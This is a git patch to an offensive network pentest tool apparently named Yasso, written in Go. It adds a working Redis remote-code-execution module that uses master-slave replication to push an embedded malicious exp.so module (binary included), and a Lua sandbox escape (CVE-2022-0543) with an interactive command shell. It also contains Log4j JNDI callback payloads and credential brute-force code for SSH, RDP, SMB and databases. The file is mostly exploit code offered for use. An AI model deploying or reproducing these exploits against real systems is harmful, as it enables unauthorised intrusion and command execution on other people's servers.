From 446e2b34477ee827acf641bb3c0acc3ac76ca5c2 Mon Sep 17 00:00:00 2001 From: sairson Date: Sat, 2 Apr 2022 10:51:43 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=EF=BC=8Call=E6=A8=A1?= =?UTF-8?q?=E5=9D=97=E5=A2=9E=E5=8A=A0=E4=BA=86=E4=B8=8D=E7=88=86=E7=A0=B4?= =?UTF-8?q?=E8=84=86=E5=BC=B1=E6=9C=8D=E5=8A=A1=EF=BC=8C=E5=85=B6=E6=AC=A1?= =?UTF-8?q?=E5=8F=AF=E4=BB=A5=E9=80=9A=E8=BF=87=E5=8F=82=E6=9D=82=E5=9F=9F?= =?UTF-8?q?=E5=90=8D=E6=9D=A5=E6=89=AB=E6=8F=8F=E4=BA=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cmd/all.go | 12 ++- cmd/brute.go | 123 +++++++++++++++------ cmd/ftp.go | 6 +- cmd/grdp.go | 6 +- cmd/log4j.go | 18 ++-- cmd/mongo.go | 10 +- cmd/mssql.go | 7 +- cmd/mysql.go | 6 +- cmd/postgres.go | 6 +- cmd/redis.go | 265 +++++++++++++++++++++++++++++++++++++++++++--- cmd/root.go | 1 + cmd/smb.go | 6 +- cmd/ssh.go | 16 +-- cmd/static/exp.so | Bin 0 -> 44320 bytes cmd/version.go | 2 +- cmd/winrm.go | 6 +- go.mod | 4 +- go.sum | 66 +++++++++--- 18 files changed, 441 insertions(+), 119 deletions(-) create mode 100644 cmd/static/exp.so diff --git a/cmd/all.go b/cmd/all.go index 7c504b0..ced180f 100644 --- a/cmd/all.go +++ b/cmd/all.go @@ -25,6 +25,7 @@ func init() { allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)") allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host") + allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service") allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host") allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread") allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy") @@ -71,11 +72,12 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no if len(alive) > 0 { fmt.Println("----- [Yasso] Start do vuln scan -----") VulScan(alive, false, true, false) // 做漏洞扫描 + var PortResults []PortResult if len(alive) != 0 { fmt.Println("----- [Yasso] Start do port scan -----") + PortResults = PortScan(alive, ports) } - PortResults := PortScan(alive, ports) - if len(PortResults) != 0 { + if len(PortResults) != 0 && NoCrack == false { fmt.Println("----- [Yasso] Start do crack service -----") for _, v := range PortResults { var one JsonOut @@ -152,8 +154,10 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no wg.Wait() } // 做网卡扫描 - fmt.Println("----- [Yasso] Start do Windows service scan -----") - winscan(alive, true) + if len(alive) > 0 { + fmt.Println("----- [Yasso] Start do Windows service scan -----") + winscan(alive, true) + } fmt.Println("----- [Yasso] Start do web service scan -----") out = DisMapScanJson(&out, webports) } diff --git a/cmd/brute.go b/cmd/brute.go index c40560c..b1098d5 100644 --- a/cmd/brute.go +++ b/cmd/brute.go @@ -5,10 +5,11 @@ import ( "bufio" "fmt" "github.com/panjf2000/ants/v2" + "github.com/projectdiscovery/cdncheck" "github.com/spf13/cobra" - "io" "log" "math" + "net" "os" "reflect" "strings" @@ -18,10 +19,6 @@ import ( // 爆破模块 -const ( - Clearln = "\r\x1b[2K" -) - var BruteCmd = &cobra.Command{ Use: "crack", Short: "crack module and extend tool", @@ -108,7 +105,7 @@ func SwitchBurp(service string, users []string, pass []string, hosts []string, p }) } wg.Wait() - Println(fmt.Sprintf(Clearln+"[*] brute %s done", service)) + Println(fmt.Sprintf("[*] brute %s done", service)) //Println()(service,users,pass,hosts,port,thread,BurpModule) } @@ -138,16 +135,6 @@ func burpTask(host, service string, users []string, pass []string, port int, thr } } } - if run { - go func() { - for { - for _, r := range `-\|/` { - fmt.Printf("\r%c brute: wating ... %c", r, r) - time.Sleep(200 * time.Millisecond) - } - } - }() - } if service == "redis" && run == true { BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test") } @@ -195,7 +182,7 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}}) lock.Unlock() } - Println(fmt.Sprintf(Clearln+`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass)) + Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass)) } } } @@ -203,24 +190,16 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string } func Readiness(file *os.File) []string { - var readiness []string /*定义一个空切片用于存储遍历后的数据*/ - buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/ - for { - data, errR := buf.ReadBytes('\n') /*读取到\n截至*/ - if errR != nil { - if errR == io.EOF { - break - } - return readiness + var readiness []string /*定义一个空切片用于存储遍历后的数据*/ + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + readiness = append(readiness, text) } - str := strings.TrimSpace(string(data)) - // 修复读取时出现空的导致抛出panic - if str == "" { - continue - } - - readiness = append(readiness, str) /*将去除换行符的字符串写入切片*/ } + readiness = SplitUrlToIpList(readiness, 100) return readiness } @@ -240,7 +219,7 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) { if user != "" && strings.Contains(user, ".txt") { userive, err := os.Open(user) if err != nil { - Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your user dic path", UserDic)) + Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic)) return []string{}, []string{} } userdic = Readiness(userive) @@ -248,10 +227,84 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) { if pass != "" && strings.Contains(pass, ".txt") { passive, err := os.Open(pass) if err != nil { - Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your pass dic path", PassDic)) + Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic)) return []string{}, []string{} } passdic = Readiness(passive) } return userdic, passdic } + +func SplitUrlToIpList(list []string, thread int) []string { + cdnClient, err := cdncheck.NewWithCache() + if err != nil { + Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err)) + } + checkChan := make(chan string, 100) + var wg sync.WaitGroup + var re []string + for i := 0; i < thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for host := range checkChan { + ip, err := net.LookupHost(host) + if err != nil { + continue + } + if ip != nil { + for _, i := range ip { + re = append(re, i) + Println(fmt.Sprintf("[*] %v:%v", host, ip)) + } + } + } + }() + } + // 判断前缀,将其添加到需要解析的列表当中 + for _, domain := range list { + if strings.Contains(domain, "http://") { + domain = strings.TrimPrefix(domain, "http://") + } + if strings.Contains(domain, "https://") { + domain = strings.TrimPrefix(domain, "https://") + } + checkChan <- domain + } + close(checkChan) + wg.Wait() + re = remove(re) // 移除重复结果 + // 移除cdn结果 + var resp []string + for _, ip := range re { + success := cdnFilter(ip, cdnClient) + if success != "" && !strings.Contains(ip, ":") { + resp = append(resp, success) + } else { + Println(fmt.Sprintf("[*] %s has cdn", ip)) + } + } + return resp +} + +// cdn 过滤器 +func cdnFilter(ip string, client *cdncheck.Client) string { + if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil { + return "" + } + return ip +} + +// remove 移除重复结果 +func remove(slc []string) []string { + var result []string + tempMap := map[string]byte{} // 存放不重复主键 + for _, e := range slc { + l := len(tempMap) + tempMap[e] = 0 + if len(tempMap) != l { // 加入map后,map长度变化,则元素不重复 + result = append(result, e) + } + } + return result +} diff --git a/cmd/ftp.go b/cmd/ftp.go index b867768..280be55 100644 --- a/cmd/ftp.go +++ b/cmd/ftp.go @@ -34,11 +34,11 @@ func BruteFtpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("ftp", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [ftp]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [ftp]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/grdp.go b/cmd/grdp.go index bc54028..afb508e 100644 --- a/cmd/grdp.go +++ b/cmd/grdp.go @@ -53,11 +53,11 @@ func BruteRdpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("rdp", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [rdp]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [rdp]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain) } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/log4j.go b/cmd/log4j.go index f34d92b..fb6cd78 100644 --- a/cmd/log4j.go +++ b/cmd/log4j.go @@ -26,12 +26,12 @@ var Log4jCmd = &cobra.Command{ } t := strings.Split(log4listenAddr, ":") if len(t) == 2 { - Println(Clearln + "Press ctrl+c to shutdown") + Println("Press ctrl+c to shutdown") go Log4jCheckServer(t[0], t[1]) c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt, syscall.SIGTERM) <-c - Println(Clearln + "ctrl+c detected. Shutting down") + Println("ctrl+c detected. Shutting down") } }, } @@ -45,7 +45,7 @@ func Log4j2HandleRequest(conn net.Conn) { buf := make([]byte, 1024) num, err := conn.Read(buf) if err != nil { - Println(fmt.Sprintf(Clearln+"accept data reading err %v", err)) + Println(fmt.Sprintf("accept data reading err %v", err)) _ = conn.Close() return } @@ -88,20 +88,20 @@ func RMI(data []byte) bool { func Log4jCheckServer(host string, port string) { listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port)) if err != nil { - Println(Clearln + "log4j listen server failed") + Println("log4j listen server failed") return } defer listen.Close() //Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port)) - Println(Clearln + "[payload]: ") - Println(fmt.Sprintf(Clearln+"==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port)) - Println(fmt.Sprintf(Clearln+"==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port)) - Println(fmt.Sprintf(Clearln+"==> ${jndi:ldap://%v:%v/poc}", host, port)) + Println("[payload]: ") + Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port)) + Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port)) + Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port)) Println("-----------------------------------") for { conn, err := listen.Accept() if err != nil { - Println(fmt.Sprintf(Clearln+"accept failed %v", err)) + Println(fmt.Sprintf("accept failed %v", err)) continue } go Log4j2HandleRequest(conn) diff --git a/cmd/mongo.go b/cmd/mongo.go index baead81..3fb254b 100644 --- a/cmd/mongo.go +++ b/cmd/mongo.go @@ -37,12 +37,12 @@ func BruteMongoByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mongodb", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mongodb]") - Println(Clearln + "[*] MongoDB Authorized crack") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mongodb]") + Println("[*] MongoDB Authorized crack") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } @@ -115,7 +115,7 @@ func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) { text := string(reply[0:count]) if strings.Contains(text, "totalLinesWritten") { flag = true - Println(fmt.Sprintf(Clearln+"[+] Mongodb %v unauthorized", info.Host)) + Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host)) } } return flag, nil diff --git a/cmd/mssql.go b/cmd/mssql.go index 41c856b..c44ab4b 100644 --- a/cmd/mssql.go +++ b/cmd/mssql.go @@ -21,7 +21,6 @@ import ( /* 内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate */ - var ( HelpWarSQLKit int InWarSQLKit int @@ -76,11 +75,11 @@ func MssqlBurpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mssql", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mssql]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mssql]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { diff --git a/cmd/mysql.go b/cmd/mysql.go index e2cf05b..3dfda4e 100644 --- a/cmd/mysql.go +++ b/cmd/mysql.go @@ -40,11 +40,11 @@ func BruteMysqlByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mysql", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mysql]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mysql]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" { diff --git a/cmd/postgres.go b/cmd/postgres.go index b091bfc..722da18 100644 --- a/cmd/postgres.go +++ b/cmd/postgres.go @@ -35,11 +35,11 @@ func BrutePostgreByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("postgres", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [postgres]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [postgres]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/redis.go b/cmd/redis.go index 064d7f7..69c177a 100644 --- a/cmd/redis.go +++ b/cmd/redis.go @@ -4,15 +4,24 @@ package cmd import ( "Yasso/config" "bufio" + "context" + _ "embed" "errors" "fmt" + "github.com/go-redis/redis/v8" "github.com/spf13/cobra" + "io" "net" "os" + "path/filepath" "strings" + "sync" "time" ) +//go:embed static/exp.so +var payload []byte + var RedisCmd = &cobra.Command{ Use: "redis", Short: "Redis burst and Redis extend tools (support proxy)", @@ -27,6 +36,11 @@ var RedisCmd = &cobra.Command{ var ( RemoteHost string RemotePublicKey string + LocalHost string + LocalPort int + RemoteSoPath string + IsRCE bool + RedisRCEMethod string ) func init() { @@ -35,6 +49,12 @@ func init() { RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address") RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass") RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command") + RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)") + RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)") + RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)") + RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)") + RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability") + } func BruteRedisByUser() { @@ -51,12 +71,12 @@ func BruteRedisByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("redis", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [redis]") - Println(Clearln + "[*] Redis Authorized crack") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [redis]") + Println("[*] Redis Authorized crack") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") { @@ -83,8 +103,22 @@ func BruteRedisByUser() { if status == true { RedisExploit(conn, RemoteHost, RemotePublicKey) } + } + if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" { + client := InitRedisClient(ConnHost, BrutePort, LoginPass) + if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 { + // 主从复制 + RedisRCE(client, LocalHost, LocalPort, RemoteSoPath) + } else if strings.ToLower(RedisRCEMethod) == "lua" { + //lua 沙盒逃逸 + RedisLua(client) + } else { + Println("[*] you need choose a rce method") + return + } + _ = client.Close() } else { - Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound") + Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce") } } @@ -120,7 +154,7 @@ func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error if strings.Contains(reply, "+OK") { flag = true conf := RedisInfo(conn, reply) - Println(fmt.Sprintf(Clearln+"[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID)) + Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID)) } return conn, flag, nil } @@ -147,7 +181,7 @@ func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, err if strings.Contains(reply, "redis_version") { flag = true conf := RedisInfo(conn, reply) - Println(fmt.Sprintf("%v[+] Redis %s:%v unauthorized dbfilename:[%v] ", Clearln, info.Host, info.Port, conf.DbFileName)) + Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName)) } return conn, flag, nil } @@ -175,11 +209,6 @@ func RedisReply(conn net.Conn) (string, error) { func RedisInfo(conn net.Conn, reply string) RedisConfig { var ( - // 第0个是#Server - //version = strings.Split(strings.Split(reply, "\r\n")[2], ":")[1] // redis version - //os = strings.Split(strings.Split(reply, "\r\n")[7], ":")[1] // os - //pid = strings.Split(strings.Split(reply, "\r\n")[11], ":")[1] // redis pid - //install = strings.Split(strings.Split(reply, "\r\n")[18], ":")[1] dbfilename string ) // 读取filename @@ -199,13 +228,8 @@ func RedisInfo(conn net.Conn, reply string) RedisConfig { } var redisConfig = RedisConfig{ - //Version: version, - //OS: os, - //PID: pid, - //ConfigPath: install, DbFileName: dbfilename, } - //Println()(redisConfig) return redisConfig } @@ -448,3 +472,210 @@ func ReadKeyFile(filename string) (string, error) { } return "", err } + +func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) { + // 设置so文件存放路径 + var dest string + if SoPath == "" { + dest = "/tmp/net.so" + } else { + dest = SoPath + } + Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client) + fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort)) + dbfilename, dir := getInformation(client) + filenameDir, filename := filepath.Split(dest) + Rexec(fmt.Sprintf("config set dir %v", filenameDir), client) + Rexec(fmt.Sprintf("config set dbfilename %v", filename), client) + // 做监听 + ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort)) + // 重置数据库 + reStore(client, dir, dbfilename) + // 加载so文件 + s := Rexec(fmt.Sprintf("module load %v", dest), client) + if s == "need unload" { + fmt.Println("[+] try to unload") + Rexec(fmt.Sprintf("module unload system"), client) + fmt.Println("[+] to the load") + Rexec(fmt.Sprintf("module load %v", dest), client) + } + fmt.Println("[+] module load success") + // 循环执行命令 + reader := bufio.NewReader(os.Stdin) + for { + var cmd string + fmt.Printf("[redis-rce]» ") + cmd, _ = reader.ReadString('\n') + cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") + if cmd == "exit" { + cmd = fmt.Sprintf("rm %v", dest) + run(fmt.Sprintf(cmd), client) + Rexec(fmt.Sprintf("module unload system"), client) + fmt.Println("[+] module unload system break redis-rce") + break + } + Receive(run(fmt.Sprintf(cmd), client)) + } + os.Exit(0) +} + +func RedisLua(client *redis.Client) { + reader := bufio.NewReader(os.Stdin) + for { + var cmd string + fmt.Printf("[redis-lua]» ") + cmd, _ = reader.ReadString('\n') + cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") + if cmd == "exit" { + break + } + Receive(execLua(cmd, client)) + } + os.Exit(0) +} + +func Rexec(cmd string, client *redis.Client) string { + args := strings.Fields(cmd) + var argsInterface []interface{} + for _, arg := range args { + argsInterface = append(argsInterface, arg) + } + //Send(cmd) + val, err := client.Do(context.Background(), argsInterface...).Result() + return Check(val, err) +} + +func getInformation(client *redis.Client) (string, string) { + r := Rexec("config get dbfilename", client) + if !strings.HasPrefix(r, "dbfilename") { + return "", "" + } + dbfilename := r[11 : len(r)-1] + d := Rexec("config get dir", client) + if !strings.HasPrefix(d, "dir") { + return "", "" + } + dir := d[4 : len(d)-1] + return dbfilename, dir +} + +func Send(str string) { + str = strings.TrimSpace(str) + fmt.Println(fmt.Sprintf("[->] %v", str)) +} + +func Receive(str string) { + str = strings.TrimSpace(str) + fmt.Println(fmt.Sprintf("%v", str)) +} + +func Check(val interface{}, err error) string { + if err != nil { + if err == redis.Nil { + fmt.Println("[!] key is not exist") + return "" + } + fmt.Println(fmt.Sprintf("[!] %v", err.Error())) + if err.Error() == "ERR Error loading the extension. Please check the server logs." { + return "need unload" + } + os.Exit(0) + } + switch v := val.(type) { + case string: + return v + case []string: + return "list result:" + strings.Join(v, " ") + case []interface{}: + s := "" + for _, i := range v { + s += i.(string) + " " + } + return s + } + return "" +} + +func ListenLocal(address string) { + var wg = &sync.WaitGroup{} + wg.Add(1) + addr, err := net.ResolveTCPAddr("tcp", address) + if err != nil { + fmt.Println("[!] resolve tcp address failed") + os.Exit(0) + } + listen, err := net.ListenTCP("tcp", addr) + if err != nil { + fmt.Println("[!] listen tcp address failed") + os.Exit(0) + } + defer listen.Close() + fmt.Println(fmt.Sprintf("[*] start listen in %v", address)) + c, err := listen.AcceptTCP() + if err != nil { + fmt.Println("[!] accept tcp failed") + os.Exit(0) + } + go masterSlave(wg, c) + wg.Wait() + _ = c.Close() +} + +func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) { + defer wg.Done() + buf := make([]byte, 1024) + for { + time.Sleep(1 * time.Second) + n, err := c.Read(buf) + if err == io.EOF || n == 0 { + fmt.Println("[*] master-slave replication process is complete") + return + } + switch { + case strings.Contains(string(buf[:n]), "PING"): + c.Write([]byte("+PONG\r\n")) + //Send("+PONG") + case strings.Contains(string(buf[:n]), "REPLCONF"): + c.Write([]byte("+OK\r\n")) + //Send("+OK") + case strings.Contains(string(buf[:n]), "SYNC"): + resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符 + resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" + rep := []byte(resp) + rep = append(rep, payload...) + rep = append(rep, []byte("\r\n")...) + c.Write(rep) + //Send(resp) + } + } +} + +func reStore(client *redis.Client, dir, dbfilename string) { + success := Rexec("slaveof no one", client) + if strings.Contains(success, "OK") { + fmt.Println("[+] restore file success") + } + Rexec(fmt.Sprintf("config set dir %v", dir), client) + Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client) +} + +func run(cmd string, client *redis.Client) string { + ctx := context.Background() + val, err := client.Do(ctx, "system.exec", cmd).Result() + return Check(val, err) +} + +func execLua(cmd string, client *redis.Client) string { + ctx := context.Background() + val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() + return Check(val, err) +} + +func InitRedisClient(host string, port int, pass string) *redis.Client { + rdb := redis.NewClient(&redis.Options{ + Addr: fmt.Sprintf("%v:%v", host, port), + Password: pass, // no password set + DB: 0, // use default DB + }) + return rdb +} diff --git a/cmd/root.go b/cmd/root.go index fd6cfa1..82b391d 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -27,6 +27,7 @@ var ( SQLShellBool bool // 是否启动sql—shell SQLCommand string // sql语句单条命令行 WinRMbool bool // winrm shell + NoCrack bool // 判断all模块是否爆破服务 ) var rootCmd = &cobra.Command{ diff --git a/cmd/smb.go b/cmd/smb.go index 5176dd0..fc35b89 100644 --- a/cmd/smb.go +++ b/cmd/smb.go @@ -39,11 +39,11 @@ func BruteSmbByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("smb", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [smb]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [smb]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/ssh.go b/cmd/ssh.go index d3f4761..f88b411 100644 --- a/cmd/ssh.go +++ b/cmd/ssh.go @@ -49,32 +49,32 @@ func BruteSshByUser() { if BruteFlag == true { users, pass := ReadTextToDic("ssh", UserDic, PassDic) //fmt.Println(users, pass) - Println(Clearln + "[*] Brute Module [ssh]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [ssh]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true { if LoginUser != "" && LoginPass != "" { client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) if err != nil { - Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err)) + Println(fmt.Sprintf("[-] Login ssh failed %v", err)) return } if status == true { //认证成功 SshLogin(client) } else { - Println(Clearln + "[-] The username or password is incorrect") + Println("[-] The username or password is incorrect") return } } if LoginPublicKey != "" && LoginUser != "" { client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser) if err != nil { - Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err)) + Println(fmt.Sprintf("[-] Login ssh failed %v", err)) return } if status == true { @@ -82,13 +82,13 @@ func BruteSshByUser() { SshLogin(client) return } else { - Println(Clearln + "[-] The username or password is incorrect") + Println("[-] The username or password is incorrect") return } } } if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") { - Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") + Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") return } } diff --git a/cmd/static/exp.so b/cmd/static/exp.so new file mode 100644 index 0000000000000000000000000000000000000000..b29439d29d950ad34982cfaa700b8b11e44b5c5e GIT binary patch literal 44320 zcmeHw349b)x^Go?mQH}sBq20{(Ci=(R*`WdAq0YgL?Vc&(`4x^l8vN;xD22Of`|j^ zDC4+9$8pf{D&vUaa)nVx&~co&hvf^z@t7L<(h 